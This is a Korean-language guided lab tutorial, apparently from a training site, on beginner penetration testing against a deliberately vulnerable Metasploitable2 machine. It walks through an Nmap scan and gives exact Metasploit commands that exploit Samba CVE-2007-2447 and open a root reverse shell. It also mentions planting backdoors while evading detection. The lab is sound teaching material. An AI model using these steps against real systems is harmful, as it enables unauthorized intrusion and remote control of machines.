Nmap 및 Metasploit 를 사용한 침투 테스트 수행

NmapBeginner
지금 연습하기

소개

이 랩에서는 침투 테스트의 기본적인 프로세스에 대해 배우고 Kali Linux 를 사용하여 실습 공격을 수행합니다. 목표는 알려진 Samba 취약점을 악용하여 취약한 대상 시스템에 원격 셸 (remote shell) 액세스를 얻는 것입니다. 이 랩은 실제 침투 테스트 시나리오에 관련된 단계를 이해하고 Nmap 및 Metasploit 과 같은 인기 있는 보안 도구를 사용하는 연습을 할 수 있는 기회를 제공합니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 93%입니다.학습자들로부터 97%의 긍정적인 리뷰율을 받았습니다.

랩 환경 설정

침투 테스트는 일반적으로 다음 단계를 포함합니다.

  1. 정보 수집 (Information Gathering): 네트워크 정보, 웹사이트 내용, 디렉토리 구조, 잠재적인 사용자 이름, 열린 포트, 서비스, 도메인 이름 및 서브도메인을 포함하여 대상 시스템에 대한 가능한 많은 정보를 수집합니다. 다양한 도구를 이 목적으로 사용할 수 있습니다.

  2. 취약점 스캔 (Vulnerability Scanning): 스캔 도구를 사용하여 대상 시스템을 포괄적으로 스캔하여 취약점을 식별합니다. 자동화된 스캔 도구를 사용할 수 있으며, 특정 서비스에 대한 타겟 스캔을 위해 수동 도구를 사용할 수도 있습니다.

  3. 익스플로잇 (Exploitation): 악용 가능한 취약점이 식별되면 적절한 도구와 기술을 사용하여 대상 시스템에서 더 높은 수준의 액세스 또는 권한을 얻습니다. 여기에는 원격 코드 실행, 인젝션 공격 또는 기타 방법이 포함될 수 있습니다.

  4. 액세스 유지 (Maintaining Access): 탐지를 피하면서 향후 액세스를 용이하게 하기 위해 대상 시스템에 백도어 또는 지속적인 액세스 메커니즘을 생성합니다.

  5. 보고 (Reporting): 발견된 취약점과 침투 테스트 프로세스 중에 수행된 단계를 자세히 설명하는 보고서를 분석하고 생성합니다. 이 보고서는 대상 조직이 시스템을 효과적으로 보호하는 데 도움이 될 수 있습니다.

요약하면, 침투 테스트에 관련된 기본 단계를 이해했으므로 이론을 실천에 옮길 때입니다. 실습을 통해 침투 테스트 분야에서 실질적인 경험을 얻기 위해 습득한 지식과 기술을 적용할 수 있습니다.

먼저, 침투 테스트 시나리오를 연습하기 위해 랩 환경을 설정해야 합니다.

랩 환경은 두 개의 시스템으로 구성됩니다.

  1. Kali Linux 컨테이너 (공격자 머신): Kali Linux 를 실행하는 Docker 컨테이너로, 공격을 수행하는 데 사용됩니다.

  2. Metasploitable2 가상 머신 (대상 머신): 대상 시스템 역할을 하는 취약한 Ubuntu 서버입니다.

환경을 설정하려면 다음 단계를 따르세요.

  1. Metasploitable2 대상 머신을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신이 실행 중인지 확인하기 위해 ping 을 보냅니다 (종료하려면 Ctrl+C 사용).
ping 192.168.122.102
  1. Kali Linux 컨테이너를 시작하고 Bash 셸에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. 대상 머신에 ping 을 보내 Kali 컨테이너에서 네트워크 연결을 테스트합니다 (종료하려면 Ctrl+C 사용).
ping 192.168.122.102

이제 공격자 머신과 대상 머신이 모두 실행 중이고 액세스 가능해야 합니다. 침투 테스트 프로세스를 시작할 준비가 되었습니다.

취약점 스캔 수행

이 단계에서는 Kali Linux 의 Nmap 도구를 사용하여 대상 시스템의 열린 포트와 서비스를 스캔합니다.

  1. 다음 Nmap 명령을 실행하여 포괄적인 스캔을 수행하고 출력을 Docker 컨테이너의 /tmp/report.txt에 저장합니다. 완료하는 데 몇 분 정도 걸릴 수 있습니다.
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

플래그의 의미는 다음과 같습니다.

  • -p 1-65535: 모든 포트 스캔
  • -T4: 타이밍 템플릿 설정 (값이 높을수록 스캔 속도가 빠름)
  • -A: OS 감지 및 버전 감지 활성화
  • -v: 상세 수준 증가
  • >/tmp/report.txt: 출력을 파일로 리디렉션
  1. 스캔이 완료될 때까지 기다립니다 (몇 분 정도 걸릴 수 있습니다).

  2. cat을 사용하여 /tmp/report.txt 파일을 열어 스캔 보고서를 분석합니다.

cat /tmp/report.txt

보고서에는 대상 시스템에서 실행 중인 열린 포트, 서비스 및 버전이 나열됩니다.

  1. 스캔 중에 발견된 서비스 및 버전과 관련된 잠재적인 취약점을 식별합니다.

이 경우, Metasploitable2 시스템에서 실행 중인 버전에 알려진 원격 명령 실행 취약점 (CVE-2007-2447) 이 있는 Samba 서비스에 집중할 것입니다. Samba USERNAME MAP SCRIPT 원격 명령 실행 취약점 (CVE-2007-2447) 의 세부 정보는 다음과 같습니다.

  • CVE: CVE-2007-2447
  • 영향받는 버전: Samba 3.0.0 - 3.0.25rc3
  • 취약점 설명: Samba 가 username map script 구성 옵션을 처리하는 방식에 취약점이 존재합니다. 이 옵션이 활성화되면 Samba 는 /bin/sh 셸에 전달하기 전에 사용자 입력을 제대로 정리하지 못하여 원격 공격자가 Samba 사용자로 임의의 명령을 실행할 수 있습니다.

Samba 공식 취약점 설명은 다음에서 찾을 수 있습니다: http://samba.org/samba/security/CVE-2007-2447.html

이 취약점을 악용하는 데 사용할 Metasploit 익스플로잇 모듈은 exploit/multi/samba/usermap_script입니다. 이 모듈의 소스 코드와 주석은 다음에서 찾을 수 있습니다: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Metasploit 을 사용하여 취약점 공격

이 단계에서는 Metasploit Framework 를 사용하여 Samba USERNAME MAP SCRIPT 취약점을 악용하고 대상 시스템에 대한 원격 셸 액세스를 얻습니다.

  1. Metasploit 콘솔을 시작합니다.
cd ~
msfconsole
  1. Metasploit 콘솔에서 Samba 익스플로잇 모듈을 로드합니다.
use exploit/multi/samba/usermap_script
  1. Metasploit 콘솔에서 페이로드를 cmd/unix/reverse로 설정합니다.
set payload cmd/unix/reverse
  1. Metasploit 콘솔에서 대상 IP 주소와 포트를 구성합니다.
set RHOST 192.168.122.102
set RPORT 445
  1. Metasploit 콘솔에서 리버스 셸에 대한 로컬 IP 주소를 설정합니다.
set LHOST 192.168.122.1
  1. Metasploit 콘솔에서 옵션을 확인합니다.
show options
  1. Metasploit 콘솔에서 익스플로잇을 실행합니다.
exploit

익스플로잇이 성공하면 대상 시스템에서 root 사용자로 원격 셸 세션이 있어야 합니다.

  1. 테스트를 완료한 후 Ctrl+C 를 누르고 exit를 입력하여 셸을 종료하고 Kali 컨테이너로 돌아갈 수 있습니다.

요약

이 랩에서는 침투 테스트의 기본 프로세스에 대해 배우고 실제 공격 시나리오를 수행하는 실질적인 경험을 얻었습니다. 취약한 대상 시스템으로 랩 환경을 설정하고, Nmap 을 사용하여 취약점 스캔을 수행하고, 알려진 Samba 취약점을 분석하고, Metasploit Framework 를 사용하여 이를 악용하여 원격 셸 액세스를 얻었습니다. 이 실질적인 경험은 침투 테스트에 사용되는 기술과 도구, 그리고 안전한 시스템 구성 및 취약점 관리의 중요성을 더 잘 이해하는 데 도움이 될 것입니다.